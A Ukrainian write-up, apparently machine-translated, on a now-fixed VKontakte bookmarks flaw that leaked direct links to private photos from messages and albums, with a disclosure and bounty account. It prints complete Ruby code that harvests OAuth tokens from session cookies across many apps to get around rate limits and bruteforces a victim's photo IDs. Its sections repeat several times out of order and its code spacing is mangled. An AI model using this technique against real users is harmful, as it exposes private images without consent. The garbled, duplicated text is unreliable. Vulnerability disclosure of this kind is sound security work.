У такий спосіб вдалося підвищити швидкість брутфорса до 3 * 25 закладок / сек. За минулий рік фотографії перебиралися б довго, але ось для коротких проміжків цей метод перебору вже був досить-таки непоганий.

Прискорюємо перебір x25 * кількість паралельних запитів в секунду


Обмеження на кількість запитів / сек діє на кожен додаток окремо, а не на користувача цілком. Так що нічого не заважає відправляти паралельно багато запитів, але при цьому використовуючи в них токени від різних додатків.
Для початку потрібно було знайти (або створити) потрібну кількість додатків. Був написаний скрипт, який шукає standalone додатки в заданому інтервалі ідентифікаторів додатків:
class StandaloneAppsFinder attr_reader: app_ids def initialize (params) @range = params [: in_range] @app_ids = [] end def search (@range) .each do | app_id | response = open ( "https://api.vk.com/method/apps.get?app_id=#{app_id}") .read app = JSON.parse (response) [ 'response'] app_ids << app_id if standalone ? (app) end end private def standalone? (app_data) app_data [ 'type'] == 'standalone' end end
Можна було ще відбирати додатки за кількістю користувачів, щоб ще більше прискорити подальший перебір:
Якщо додаток встановило менше 10 000 чоловік, то можна здійснювати 5 запитів в секунду, до 100 000 - 8 запитів, до 1 000 000 - 20 запитів, більше 1 млн. - 35 запитів в секунду.
[Обмеження та рекомендації]

Але вирішив з цим не морочитися.
Ок, додатки знайдені, тепер їм потрібно дати дозвіл до даних нашого користувача і отримати токени. Для авторизації довелося використовувати механізм Implicit Flow. Довелося парсити урл авторизації з діалогу OAuth і після редиректу витягувати токен. Для роботи даного класу потрібні куки p, l (login.vk.com) і remixsid (vk.com):
class Authenticator attr_reader: access_tokens def initialize (cookie_header) @cookies = { 'Cookie' => cookie_header} @access_tokens = [] end def authorize_apps (apps) apps.each do | app_id | auth_url = extract_auth_url_from (oauth_page (app_id)) redirect_url = open (auth_url, @cookies) .base_uri.to_s access_tokens << extract_token_from (redirect_url) end end private def extract_auth_url_from (oauth_page_html) Nokogiri :: HTML (oauth_page_html) .css ( 'form' ) .attr ( 'action'). value end def extract_token_from (url) URI (url) .fragment [13..97] end def oauth_page (app_id) open (oauth_page_url (app_id), @cookies) .read end def oauth_page_url ( app_id) "https://oauth.vk.com/authorize?" + "Client_id = # {app_id} &" + "response_type = token &" + "display = mobile &" + "scope = 474367" end end
Скільки додатків знайдено, стільки і паралельних запитів. Для розпаралелювання всієї цієї справи було вирішено використовувати гем Typhoeus , Який відмінно зарекомендував себе в інших завданнях. Вийшов такий ось невеликий брутфорсер:
class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = { 'today' => 366300000..366500000, 'yesterday' => 366050000..366300000, 'current_month' => 365000000..366500000, 'last_month' => 360000000..365000000, 'current_year' => 350000000..366500000, 'last_year' => 320000000..350000000} def initialize (params) @victim_id = params [: victim_id] @period = PHOTOS_ID_BY_PERIOD [params [: period]] end def run (tokens) hydra = Typhoeus :: Hydra.new tokensIterator = 0 (@period) .step (25) do | photo_id | url = "https://api.vk.com/method/execute?access_token=#{tokens[tokensIterator]}&code=#{vkscript(photo_id)}" encoded_url = URI.escape (url) .gsub ( '+' , '% 2B'). delete ( "\ n") tokensIterator = tokensIterator == tokens.count - 1? 0: tokensIterator + 1 hydra.queue Typhoeus :: Request.new encoded_url hydra.run if tokensIterator.zero? end hydra.run unless hydra.queued_requests.count.zero? end private def vkscript (photo_id) << - VKScript var start = # {photo_id}; var end = # {photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while (start! = end) {API.fave.addLink ({ "link": link + start}); start = start + 1; }; return start; VKScript end end
Щоб ще більше прискорити брутфорс, була спроба позбутися від непотрібного тіла у відповіді, але на HEAD запит сервер «Вконтакте» повертає помилку 501 Not implemented.
Остаточна версія скрипта виглядає так:
require 'nokogiri' require 'open-uri' require 'typhoeus' require 'json' require './standalone_apps_finder' require './photos_bruteforcer' require './authenticator' bruteforcer = PhotosBruteforcer.new (victim_id: ARGV [0], period : ARGV [1]) apps_finder = StandaloneAppsFinder.new (in_range: 4800000..4800500) apps_finder.search # p, l - cookies from login.vk.com # remixsid - cookie from vk.com authenticator = Authenticator.new ( 'p =; '+' l =; '+' remixsid =; ') authenticator.authorize_apps (apps_finder.app_ids) bruteforcer.run (authenticator.access_tokens)
Після відпрацювання програми в закладках були всі фотографії користувача за заданий період. Залишалося тільки зайти в мобільну версію «Вконтакте», відкрити консоль браузера, витягнути прямі посилання і насолоджуватися фотографіями в їх оригінальному розмірі.

підсумки


В цілому, все залежить від вашого інтернет з'єднання та швидкості проксі серверів, латенсі серверів «Вконтакте», потужності процесора і безлічі інших чинників. Випробувавши скрипт вище на своєму акаунті, отримав такі ось цифри (без урахування часу, витраченого на отримання токенов):
Період Час (хвилини) Вчора 0.84 Минулий тиждень 6.9 Минулий місяць 18.3 Минулий рік 121.1 3 останні роки 312.5
У таблиці показано середній час, необхідний для того, щоб перепробувати id фотографій за певний період. Я впевнений, все це можна було прискорити раз так в 10-20. Наприклад, в скрипті брутфорса зробити одну велику чергу з усіх запитів і нормальну синхронізацію між ними, тому що в моїй реалізації один запит з timeout буде гальмувати весь процес. Та й взагалі, можна було просто купити парочку інстанси на EC2, і за годинку отримати всі фотографії якого завгодно користувача. Але я вже хотів спати.
Та й взагалі, не має значення, скільки часу зловмисник на це витратить 5 годин або ж цілий день, адже так чи інакше посилання на приватні зображення він добуде. Можливість залізно отримати доступ до приватної інформації за кінцевий час - і є головна загроза, яку несе ця вразливість.

Повідомляємо про уразливість


Спочатку репорт був відправлений службі підтримки, але після відповіді типу «спасибі, як-небудь пофиксил напевно ...» і тижні очікування, мені щось стало сумно. Велике дякую Bo0oM , Який допоміг зв'язатися з розробниками напряму. Після цього баги закрили протягом декількох годин, а через кілька днів на мій рахунок адміністрація перевела винагороду в розмірі 10к голосів .
Спочатку репорт був відправлений службі підтримки, але після відповіді типу «спасибі, як-небудь пофиксил напевно
Цілеспрямовано дослідженням ВК я ніколи не займався, але після такого, майже випадкового виявлення цієї уразливості серйозно почав замислюватися про те, щоб витратити кілька годин на повноцінний аудит цієї соціальної мережі. У «ВКонтакте» немає офіційної баг баунти програми, тому whitehat ресерчери обходять цей сайт стороною, а інші, менш «білі» хакери, просто тихо користуються помилками в своїх цілях, або продають їх. Так що, думаю, ще парочку подібних вразливостей в ВК можна знайти.
Всім добра!

Уразливість «ВКонтакте» дозволяла отримати прямі посилання на приватні фотографії


tl; dr

Була виявлена ​​уразливість в закладках ВК, яка дозволяла отримувати прямі посилання на приватні фотографії з особистих повідомлень, альбомів будь-якого користувача / групи. Був написаний скрипт, який перебирав фотографії користувача за певний період і потім, через цю уразливість отримував прямі посилання на зображення. Якщо коротко, то: можна було за 1 хвилину отримати всі ваші вчорашні фотографії, за 7 хвилин - все фото, завантажені на минулого тижня, за 20 хвилин - минулий місяць, за 2 години - минулий рік. Уразливість на даний момент виправлена. Адміністрація ВКонтакте виплатила винагороду в 10к голосів.


Історія почалася з того, як мені в личку у «Вконтакте» кинули зображення. Зазвичай, якщо річ важлива, я її завантажую в хмару, але в моєму випадку в цьому не було необхідності, і я вирішив скористатися функцією закладок «Вконтакте».

Коротко про цю функціональність: в закладки додаються всі речі, які користувач лайкнув; також є функція ручного додавання посилання на користувача і внутрішньої посилання «ВКонтакте». Останній пункт мені видався дуже цікавим, так як після додавання посилання на фото я побачив його прев'юшки і текст з типом доданої суті:
Історія почалася з того, як мені в личку у «Вконтакте» кинули зображення
При додаванні посилання сервер парсит її, намагається з'ясувати, на яку сутність вона посилається і дістає інформацію про цей об'єкт з бази. Як правило, при написанні такого роду функцій з безліччю умов ймовірність того, що розробник щось забуде, дуже висока. Тому я не зміг собі дозволити пройти повз і вирішив витратити кілька хвилин, щоб трохи поекспериментувати.
В результаті мені вдалося дещо знайти. При додаванні посилання на фотографію, замітку або відео, до яких немає доступу, можна було отримати трохи приватної інформації про об'єкт. У випадку з фото і відео - це маленька (150x150) прев'юшки, на якій досить складно що-небудь розгледіти, у приватних нотаток відображалося назва. Через метод API fave.getLinks можна було отримати посилання на зображення, але знову ж таки занадто маленького розміру (75px і 130px). Так що, по суті, нічого серйозного.
Я вирішив зайти на мобільну версію сайту, щоб перевірити, чи відображається там все так же, як і в звичайній версії. Заглянувши в код сторінки, я побачив це:

Так! У значенні атрибута data-src_big зберігалася пряме посилання на оригінал зображення!
Таким чином, можна було отримати пряме посилання на будь-яке зображення у «Вконтакте», незалежно від того, куди воно завантажувалося і які налаштування приватності мало. Це могло бути зображення з особистих повідомлень або ж фотографія з приватних альбомів будь-якого користувача / групи.
Здавалося б, на цьому можна було зупинитися і написати розробникам, але мені стало цікаво, чи можливо, експлуатуючи цю уразливість, отримати доступ до всіх (ну або завантаженим в певний період часу) фотографій користувача. Основною проблемою тут, як ви розумієте, було те, що не завжди відома посилання на приватну фотографію виду photoXXXXXX_XXXXXXX, яку потрібно додати в закладки. В голову прийшла думка про перебір id фотки, але я її чомусь тут же відкинув як божевільну. Я перевірив пов'язані з фотографіями методи в API, подивився, як додаток працює з альбомами, але ніяких витоків, які могли б мені допомогти отримати список з айдішкамі всіх закритих фоток користувача, знайти не вдалося. Я вже хотів було кинути цю затію, але поглянувши ще раз на посилання з фотографією, раптом зрозумів, що перебір таки був хорошою ідеєю.

Як працюють фотографії в ВК


Як ви могли замінити, посилання на фотографію photo52708106_359542386 складається з двох частин: (id користувача) _ (якесь незрозуміле число). Як же формується друга частина?
На жаль, але, витративши дві години експерименти, я так цього і не зрозумів. У 2012 році на HighLoad ++ Олег Ілларіонов сказав кілька слів про те, як вони зберігають фотографії, про горизонтальний шардінг і випадковий вибір сервера для завантаження, але ця інформація мені нічого не дала, так як між id сервера і id фотки ніякого зв'язку не видно. Зрозуміло, що є якийсь глобальний лічильник, але там є ще якась логіка ... Тому що якщо друге число формувалося б за допомогою звичайного автоінкремента, то значення айдішок фоток давно б уже досягли величезних значень (у фб, наприклад, на даний момент це ~ 700 трлн.), але у «Вконтакте» це значення лише ~ 400 млн (хоча, судячи зі статистики, щодня користувачі завантажують понад 30 млн фотографій). Тобто ясно, що цифра ця не унікальна, але при цьому і не рандомних. Я написав скриптик, який пройшовся по фотографіям «старих» користувачів і за отриманими даними склав графік того, на скільки змінювалася ця цифра з кожним роком:
Як ви могли замінити, посилання на фотографію photo52708106_359542386 складається з двох частин: (id користувача) _ (якесь незрозуміле число)
Видно, що значення скачуть в залежності від якихось чинників (кількості серверів або нової логіки?). Але суть в тому, що вони досить малі (особливо за останні 2-3 роки) і дуже легко вирахувати діапазон id для бажаного періоду часу. Тобто щоб дізнатися прямі посилання на фотки користувача, припустимо, за минулий рік, потрібно спробувати додати в закладки всього лише 30 млн (від _320000000 до _350000000) різних варіацій посилань! Нижче я описав техніку перебору, яка дозволила мені зробити це за лічені хвилини.

перебираємо фотографії


Можна було все це додавати руками через інтерфейс або ж написати скрипт, який додає по одному посиланню в закладки, але це було б нудно і довго. Швидкість перебору в такому випадку склала б 3 закладки в секунду, тому що більше трьох запитів в секунду на сервер «Вконтакте» відправляти не можна .

Прискорюємо перебір x25


Щоб хоч трохи обійти обмеження в 3 запити, я вирішив скористатися методом execute . В одному виклику цього методу можливо 25 звернень до методів API.
var start = parseInt (Args.start); var end = parseInt (Args.end); var victimId = Args.id; var link = "http://vk.com/photo" + victimId + "_"; while (start! = end) {API.fave.addLink ({ "link": link + start}); start = start + 1; };
У такий спосіб вдалося підвищити швидкість брутфорса до 3 * 25 закладок / сек. За минулий рік фотографії перебиралися б довго, але ось для коротких проміжків цей метод перебору вже був досить-таки непоганий.

Прискорюємо перебір x25 * кількість паралельних запитів в секунду


Обмеження на кількість запитів / сек діє на кожен додаток окремо, а не на користувача цілком. Так що нічого не заважає відправляти паралельно багато запитів, але при цьому використовуючи в них токени від різних додатків.
Для початку потрібно було знайти (або створити) потрібну кількість додатків. Був написаний скрипт, який шукає standalone додатки в заданому інтервалі ідентифікаторів додатків:
class StandaloneAppsFinder attr_reader: app_ids def initialize (params) @range = params [: in_range] @app_ids = [] end def search (@range) .each do | app_id | response = open ( "https://api.vk.com/method/apps.get?app_id=#{app_id}") .read app = JSON.parse (response) [ 'response'] app_ids << app_id if standalone ? (app) end end private def standalone? (app_data) app_data [ 'type'] == 'standalone' end end
Можна було ще відбирати додатки за кількістю користувачів, щоб ще більше прискорити подальший перебір:
Якщо додаток встановило менше 10 000 чоловік, то можна здійснювати 5 запитів в секунду, до 100 000 - 8 запитів, до 1 000 000 - 20 запитів, більше 1 млн. - 35 запитів в секунду.
[Обмеження та рекомендації]

Але вирішив з цим не морочитися.
Ок, додатки знайдені, тепер їм потрібно дати дозвіл до даних нашого користувача і отримати токени. Для авторизації довелося використовувати механізм Implicit Flow. Довелося парсити урл авторизації з діалогу OAuth і після редиректу витягувати токен. Для роботи даного класу потрібні куки p, l (login.vk.com) і remixsid (vk.com):
class Authenticator attr_reader: access_tokens def initialize (cookie_header) @cookies = { 'Cookie' => cookie_header} @access_tokens = [] end def authorize_apps (apps) apps.each do | app_id | auth_url = extract_auth_url_from (oauth_page (app_id)) redirect_url = open (auth_url, @cookies) .base_uri.to_s access_tokens << extract_token_from (redirect_url) end end private def extract_auth_url_from (oauth_page_html) Nokogiri :: HTML (oauth_page_html) .css ( 'form' ) .attr ( 'action'). value end def extract_token_from (url) URI (url) .fragment [13..97] end def oauth_page (app_id) open (oauth_page_url (app_id), @cookies) .read end def oauth_page_url ( app_id) "https://oauth.vk.com/authorize?" + "Client_id = # {app_id} &" + "response_type = token &" + "display = mobile &" + "scope = 474367" end end
Скільки додатків знайдено, стільки і паралельних запитів. Для розпаралелювання всієї цієї справи було вирішено використовувати гем Typhoeus , Який відмінно зарекомендував себе в інших завданнях. Вийшов такий ось невеликий брутфорсер:
class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = { 'today' => 366300000..366500000, 'yesterday' => 366050000..366300000, 'current_month' => 365000000..366500000, 'last_month' => 360000000..365000000, 'current_year' => 350000000..366500000, 'last_year' => 320000000..350000000} def initialize (params) @victim_id = params [: victim_id] @period = PHOTOS_ID_BY_PERIOD [params [: period]] end def run (tokens) hydra = Typhoeus :: Hydra.new tokensIterator = 0 (@period) .step (25) do | photo_id | url = "https://api.vk.com/method/execute?access_token=#{tokens[tokensIterator]}&code=#{vkscript(photo_id)}" encoded_url = URI.escape (url) .gsub ( '+' , '% 2B'). delete ( "\ n") tokensIterator = tokensIterator == tokens.count - 1? 0: tokensIterator + 1 hydra.queue Typhoeus :: Request.new encoded_url hydra.run if tokensIterator.zero? end hydra.run unless hydra.queued_requests.count.zero? end private def vkscript (photo_id) << - VKScript var start = # {photo_id}; var end = # {photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while (start! = end) {API.fave.addLink ({ "link": link + start}); start = start + 1; }; return start; VKScript end end
Щоб ще більше прискорити брутфорс, була спроба позбутися від непотрібного тіла у відповіді, але на HEAD запит сервер «Вконтакте» повертає помилку 501 Not implemented.
Остаточна версія скрипта виглядає так:
require 'nokogiri' require 'open-uri' require 'typhoeus' require 'json' require './standalone_apps_finder' require './photos_bruteforcer' require './authenticator' bruteforcer = PhotosBruteforcer.new (victim_id: ARGV [0], period : ARGV [1]) apps_finder = StandaloneAppsFinder.new (in_range: 4800000..4800500) apps_finder.search # p, l - cookies from login.vk.com # remixsid - cookie from vk.com authenticator = Authenticator.new ( 'p =; '+' l =; '+' remixsid =; ') authenticator.authorize_apps (apps_finder.app_ids) bruteforcer.run (authenticator.access_tokens)
Після відпрацювання програми в закладках були всі фотографії користувача за заданий період. Залишалося тільки зайти в мобільну версію «Вконтакте», відкрити консоль браузера, витягнути прямі посилання і насолоджуватися фотографіями в їх оригінальному розмірі.

підсумки


В цілому, все залежить від вашого інтернет з'єднання та швидкості проксі серверів, латенсі серверів «Вконтакте», потужності процесора і безлічі інших чинників. Випробувавши скрипт вище на своєму акаунті, отримав такі ось цифри (без урахування часу, витраченого на отримання токенов):
Період Час (хвилини) Вчора 0.84 Минулий тиждень 6.9 Минулий місяць 18.3 Минулий рік 121.1 3 останні роки 312.5
У таблиці показано середній час, необхідний для того, щоб перепробувати id фотографій за певний період. Я впевнений, все це можна було прискорити раз так в 10-20. Наприклад, в скрипті брутфорса зробити одну велику чергу з усіх запитів і нормальну синхронізацію між ними, тому що в моїй реалізації один запит з timeout буде гальмувати весь процес. Та й взагалі, можна було просто купити парочку інстанси на EC2, і за годинку отримати всі фотографії якого завгодно користувача. Але я вже хотів спати.
Та й взагалі, не має значення, скільки часу зловмисник на це витратить 5 годин або ж цілий день, адже так чи інакше посилання на приватні зображення він добуде. Можливість залізно отримати доступ до приватної інформації за кінцевий час - і є головна загроза, яку несе ця вразливість.

Повідомляємо про уразливість


Спочатку репорт був відправлений службі підтримки, але після відповіді типу «спасибі, як-небудь пофиксил напевно ...» і тижні очікування, мені щось стало сумно. Велике дякую Bo0oM , Який допоміг зв'язатися з розробниками напряму. Після цього баги закрили протягом декількох годин, а через кілька днів на мій рахунок адміністрація перевела винагороду в розмірі 10к голосів .
Спочатку репорт був відправлений службі підтримки, але після відповіді типу «спасибі, як-небудь пофиксил напевно
Цілеспрямовано дослідженням ВК я ніколи не займався, але після такого, майже випадкового виявлення цієї уразливості серйозно почав замислюватися про те, щоб витратити кілька годин на повноцінний аудит цієї соціальної мережі. У «ВКонтакте» немає офіційної баг баунти програми, тому whitehat ресерчери обходять цей сайт стороною, а інші, менш «білі» хакери, просто тихо користуються помилками в своїх цілях, або продають їх. Так що, думаю, ще парочку подібних вразливостей в ВК можна знайти.
Всім добра!

Уразливість «ВКонтакте» дозволяла отримати прямі посилання на приватні фотографії


tl; dr

Була виявлена ​​уразливість в закладках ВК, яка дозволяла отримувати прямі посилання на приватні фотографії з особистих повідомлень, альбомів будь-якого користувача / групи. Був написаний скрипт, який перебирав фотографії користувача за певний період і потім, через цю уразливість отримував прямі посилання на зображення. Якщо коротко, то: можна було за 1 хвилину отримати всі ваші вчорашні фотографії, за 7 хвилин - все фото, завантажені на минулого тижня, за 20 хвилин - минулий місяць, за 2 години - минулий рік. Уразливість на даний момент виправлена. Адміністрація ВКонтакте виплатила винагороду в 10к голосів.


Історія почалася з того, як мені в личку у «Вконтакте» кинули зображення. Зазвичай, якщо річ важлива, я її завантажую в хмару, але в моєму випадку в цьому не було необхідності, і я вирішив скористатися функцією закладок «Вконтакте».

Коротко про цю функціональність: в закладки додаються всі речі, які користувач лайкнув; також є функція ручного додавання посилання на користувача і внутрішньої посилання «ВКонтакте». Останній пункт мені видався дуже цікавим, так як після додавання посилання на фото я побачив його прев'юшки і текст з типом доданої суті:
Історія почалася з того, як мені в личку у «Вконтакте» кинули зображення
При додаванні посилання сервер парсит її, намагається з'ясувати, на яку сутність вона посилається і дістає інформацію про цей об'єкт з бази. Як правило, при написанні такого роду функцій з безліччю умов ймовірність того, що розробник щось забуде, дуже висока. Тому я не зміг собі дозволити пройти повз і вирішив витратити кілька хвилин, щоб трохи поекспериментувати.
В результаті мені вдалося дещо знайти. При додаванні посилання на фотографію, замітку або відео, до яких немає доступу, можна було отримати трохи приватної інформації про об'єкт. У випадку з фото і відео - це маленька (150x150) прев'юшки, на якій досить складно що-небудь розгледіти, у приватних нотаток відображалося назва. Через метод API fave.getLinks можна було отримати посилання на зображення, але знову ж таки занадто маленького розміру (75px і 130px). Так що, по суті, нічого серйозного.
Я вирішив зайти на мобільну версію сайту, щоб перевірити, чи відображається там все так же, як і в звичайній версії. Заглянувши в код сторінки, я побачив це:

Так! У значенні атрибута data-src_big зберігалася пряме посилання на оригінал зображення!
Таким чином, можна було отримати пряме посилання на будь-яке зображення у «Вконтакте», незалежно від того, куди воно завантажувалося і які налаштування приватності мало. Це могло бути зображення з особистих повідомлень або ж фотографія з приватних альбомів будь-якого користувача / групи.
Здавалося б, на цьому можна було зупинитися і написати розробникам, але мені стало цікаво, чи можливо, експлуатуючи цю уразливість, отримати доступ до всіх (ну або завантаженим в певний період часу) фотографій користувача. Основною проблемою тут, як ви розумієте, було те, що не завжди відома посилання на приватну фотографію виду photoXXXXXX_XXXXXXX, яку потрібно додати в закладки. В голову прийшла думка про перебір id фотки, але я її чомусь тут же відкинув як божевільну. Я перевірив пов'язані з фотографіями методи в API, подивився, як додаток працює з альбомами, але ніяких витоків, які могли б мені допомогти отримати список з айдішкамі всіх закритих фоток користувача, знайти не вдалося. Я вже хотів було кинути цю затію, але поглянувши ще раз на посилання з фотографією, раптом зрозумів, що перебір таки був хорошою ідеєю.

Як працюють фотографії в ВК


Як ви могли замінити, посилання на фотографію photo52708106_359542386 складається з двох частин: (id користувача) _ (якесь незрозуміле число). Як же формується друга частина?
На жаль, але, витративши дві години експерименти, я так цього і не зрозумів. У 2012 році на HighLoad ++ Олег Ілларіонов сказав кілька слів про те, як вони зберігають фотографії, про горизонтальний шардінг і випадковий вибір сервера для завантаження, але ця інформація мені нічого не дала, так як між id сервера і id фотки ніякого зв'язку не видно. Зрозуміло, що є якийсь глобальний лічильник, але там є ще якась логіка ... Тому що якщо друге число формувалося б за допомогою звичайного автоінкремента, то значення айдішок фоток давно б уже досягли величезних значень (у фб, наприклад, на даний момент це ~ 700 трлн.), але у «Вконтакте» це значення лише ~ 400 млн (хоча, судячи зі статистики, щодня користувачі завантажують понад 30 млн фотографій). Тобто ясно, що цифра ця не унікальна, але при цьому і не рандомних. Я написав скриптик, який пройшовся по фотографіям «старих» користувачів і за отриманими даними склав графік того, на скільки змінювалася ця цифра з кожним роком:
Як ви могли замінити, посилання на фотографію photo52708106_359542386 складається з двох частин: (id користувача) _ (якесь незрозуміле число)
Видно, що значення скачуть в залежності від якихось чинників (кількості серверів або нової логіки?). Але суть в тому, що вони досить малі (особливо за останні 2-3 роки) і дуже легко вирахувати діапазон id для бажаного періоду часу. Тобто щоб дізнатися прямі посилання на фотки користувача, припустимо, за минулий рік, потрібно спробувати додати в закладки всього лише 30 млн (від _320000000 до _350000000) різних варіацій посилань! Нижче я описав техніку перебору, яка дозволила мені зробити це за лічені хвилини.

перебираємо фотографії


Можна було все це додавати руками через інтерфейс або ж написати скрипт, який додає по одному посиланню в закладки, але це було б нудно і довго. Швидкість перебору в такому випадку склала б 3 закладки в секунду, тому що більше трьох запитів в секунду на сервер «Вконтакте» відправляти не можна .

Прискорюємо перебір x25


Щоб хоч трохи обійти обмеження в 3 запити, я вирішив скористатися методом execute . В одному виклику цього методу можливо 25 звернень до методів API.
var start = parseInt (Args.start); var end = parseInt (Args.end); var victimId = Args.id; var link = "http://vk.com/photo" + victimId + "_"; while (start! = end) {API.fave.addLink ({ "link": link + start}); start = start + 1; };
У такий спосіб вдалося підвищити швидкість брутфорса до 3 * 25 закладок / сек. За минулий рік фотографії перебиралися б довго, але ось для коротких проміжків цей метод перебору вже був досить-таки непоганий.

Прискорюємо перебір x25 * кількість паралельних запитів в секунду


Обмеження на кількість запитів / сек діє на кожен додаток окремо, а не на користувача цілком. Так що нічого не заважає відправляти паралельно багато запитів, але при цьому використовуючи в них токени від різних додатків.
Для початку потрібно було знайти (або створити) потрібну кількість додатків. Був написаний скрипт, який шукає standalone додатки в заданому інтервалі ідентифікаторів додатків:
class StandaloneAppsFinder attr_reader: app_ids def initialize (params) @range = params [: in_range] @app_ids = [] end def search (@range) .each do | app_id | response = open ( "https://api.vk.com/method/apps.get?app_id=#{app_id}") .read app = JSON.parse (response) [ 'response'] app_ids << app_id if standalone ? (app) end end private def standalone? (app_data) app_data [ 'type'] == 'standalone' end end
Можна було ще відбирати додатки за кількістю користувачів, щоб ще більше прискорити подальший перебір:
Якщо додаток встановило менше 10 000 чоловік, то можна здійснювати 5 запитів в секунду, до 100 000 - 8 запитів, до 1 000 000 - 20 запитів, більше 1 млн. - 35 запитів в секунду.
[Обмеження та рекомендації]

Але вирішив з цим не морочитися.
Ок, додатки знайдені, тепер їм потрібно дати дозвіл до даних нашого користувача і отримати токени. Для авторизації довелося використовувати механізм Implicit Flow. Довелося парсити урл авторизації з діалогу OAuth і після редиректу витягувати токен. Для роботи даного класу потрібні куки p, l (login.vk.com) і remixsid (vk.com):
class Authenticator attr_reader: access_tokens def initialize (cookie_header) @cookies = { 'Cookie' => cookie_header} @access_tokens = [] end def authorize_apps (apps) apps.each do | app_id | auth_url = extract_auth_url_from (oauth_page (app_id)) redirect_url = open (auth_url, @cookies) .base_uri.to_s access_tokens << extract_token_from (redirect_url) end end private def extract_auth_url_from (oauth_page_html) Nokogiri :: HTML (oauth_page_html) .css ( 'form' ) .attr ( 'action'). value end def extract_token_from (url) URI (url) .fragment [13..97] end def oauth_page (app_id) open (oauth_page_url (app_id), @cookies) .read end def oauth_page_url ( app_id) "https://oauth.vk.com/authorize?" + "Client_id = # {app_id} &" + "response_type = token &" + "display = mobile &" + "scope = 474367" end end
Скільки додатків знайдено, стільки і паралельних запитів. Для розпаралелювання всієї цієї справи було вирішено використовувати гем Typhoeus , Який відмінно зарекомендував себе в інших завданнях. Вийшов такий ось невеликий брутфорсер:
class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = { 'today' => 366300000..366500000, 'yesterday' => 366050000..366300000, 'current_month' => 365000000..366500000, 'last_month' => 360000000..365000000, 'current_year' => 350000000..366500000, 'last_year' => 320000000..350000000} def initialize (params) @victim_id = params [: victim_id] @period = PHOTOS_ID_BY_PERIOD [params [: period]] end def run (tokens) hydra = Typhoeus :: Hydra.new tokensIterator = 0 (@period) .step (25) do | photo_id | url = "https://api.vk.com/method/execute?access_token=#{tokens[tokensIterator]}&code=#{vkscript(photo_id)}" encoded_url = URI.escape (url) .gsub ( '+' , '% 2B'). delete ( "\ n") tokensIterator = tokensIterator == tokens.count - 1? 0: tokensIterator + 1 hydra.queue Typhoeus :: Request.new encoded_url hydra.run if tokensIterator.zero? end hydra.run unless hydra.queued_requests.count.zero? end private def vkscript (photo_id) << - VKScript var start = # {photo_id}; var end = # {photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while (start! = end) {API.fave.addLink ({ "link": link + start}); start = start + 1; }; return start; VKScript end end
Щоб ще більше прискорити брутфорс, була спроба позбутися від непотрібного тіла у відповіді, але на HEAD запит сервер «Вконтакте» повертає помилку 501 Not implemented.
Остаточна версія скрипта виглядає так:
require 'nokogiri' require 'open-uri' require 'typhoeus' require 'json' require './standalone_apps_finder' require './photos_bruteforcer' require './authenticator' bruteforcer = PhotosBruteforcer.new (victim_id: ARGV [0], period : ARGV [1]) apps_finder = StandaloneAppsFinder.new (in_range: 4800000..4800500) apps_finder.search # p, l - cookies from login.vk.com # remixsid - cookie from vk.com authenticator = Authenticator.new ( 'p =; '+' l =; '+' remixsid =; ') authenticator.authorize_apps (apps_finder.app_ids) bruteforcer.run (authenticator.access_tokens)
Після відпрацювання програми в закладках були всі фотографії користувача за заданий період. Залишалося тільки зайти в мобільну версію «Вконтакте», відкрити консоль браузера, витягнути прямі посилання і насолоджуватися фотографіями в їх оригінальному розмірі.

підсумки


В цілому, все залежить від вашого інтернет з'єднання та швидкості проксі серверів, латенсі серверів «Вконтакте», потужності процесора і безлічі інших чинників. Випробувавши скрипт вище на своєму акаунті, отримав такі ось цифри (без урахування часу, витраченого на отримання токенов):
Період Час (хвилини) Вчора 0.84 Минулий тиждень 6.9 Минулий місяць 18.3 Минулий рік 121.1 3 останні роки 312.5
У таблиці показано середній час, необхідний для того, щоб перепробувати id фотографій за певний період. Я впевнений, все це можна було прискорити раз так в 10-20. Наприклад, в скрипті брутфорса зробити одну велику чергу з усіх запитів і нормальну синхронізацію між ними, тому що в моїй реалізації один запит з timeout буде гальмувати весь процес. Та й взагалі, можна було просто купити парочку інстанси на EC2, і за годинку отримати всі фотографії якого завгодно користувача. Але я вже хотів спати.
Та й взагалі, не має значення, скільки часу зловмисник на це витратить 5 годин або ж цілий день, адже так чи інакше посилання на приватні зображення він добуде. Можливість залізно отримати доступ до приватної інформації за кінцевий час - і є головна загроза, яку несе ця вразливість.

Повідомляємо про уразливість


Спочатку репорт був відправлений службі підтримки, але після відповіді типу «спасибі, як-небудь пофиксил напевно ...» і тижні очікування, мені щось стало сумно. Велике дякую Bo0oM , Який допоміг зв'язатися з розробниками напряму. Після цього баги закрили протягом декількох годин, а через кілька днів на мій рахунок адміністрація перевела винагороду в розмірі 10к голосів .
Спочатку репорт був відправлений службі підтримки, але після відповіді типу «спасибі, як-небудь пофиксил напевно
Цілеспрямовано дослідженням ВК я ніколи не займався, але після такого, майже випадкового виявлення цієї уразливості серйозно почав замислюватися про те, щоб витратити кілька годин на повноцінний аудит цієї соціальної мережі. У «ВКонтакте» немає офіційної баг баунти програми, тому whitehat ресерчери обходять цей сайт стороною, а інші, менш «білі» хакери, просто тихо користуються помилками в своїх цілях, або продають їх. Так що, думаю, ще парочку подібних вразливостей в ВК можна знайти.
Всім добра!

Уразливість «ВКонтакте» дозволяла отримати прямі посилання на приватні фотографії


tl; dr

Була виявлена ​​уразливість в закладках ВК, яка дозволяла отримувати прямі посилання на приватні фотографії з особистих повідомлень, альбомів будь-якого користувача / групи. Був написаний скрипт, який перебирав фотографії користувача за певний період і потім, через цю уразливість отримував прямі посилання на зображення. Якщо коротко, то: можна було за 1 хвилину отримати всі ваші вчорашні фотографії, за 7 хвилин - все фото, завантажені на минулого тижня, за 20 хвилин - минулий місяць, за 2 години - минулий рік. Уразливість на даний момент виправлена. Адміністрація ВКонтакте виплатила винагороду в 10к голосів.


Історія почалася з того, як мені в личку у «Вконтакте» кинули зображення. Зазвичай, якщо річ важлива, я її завантажую в хмару, але в моєму випадку в цьому не було необхідності, і я вирішив скористатися функцією закладок «Вконтакте».

Коротко про цю функціональність: в закладки додаються всі речі, які користувач лайкнув; також є функція ручного додавання посилання на користувача і внутрішньої посилання «ВКонтакте». Останній пункт мені видався дуже цікавим, так як після додавання посилання на фото я побачив його прев'юшки і текст з типом доданої суті:
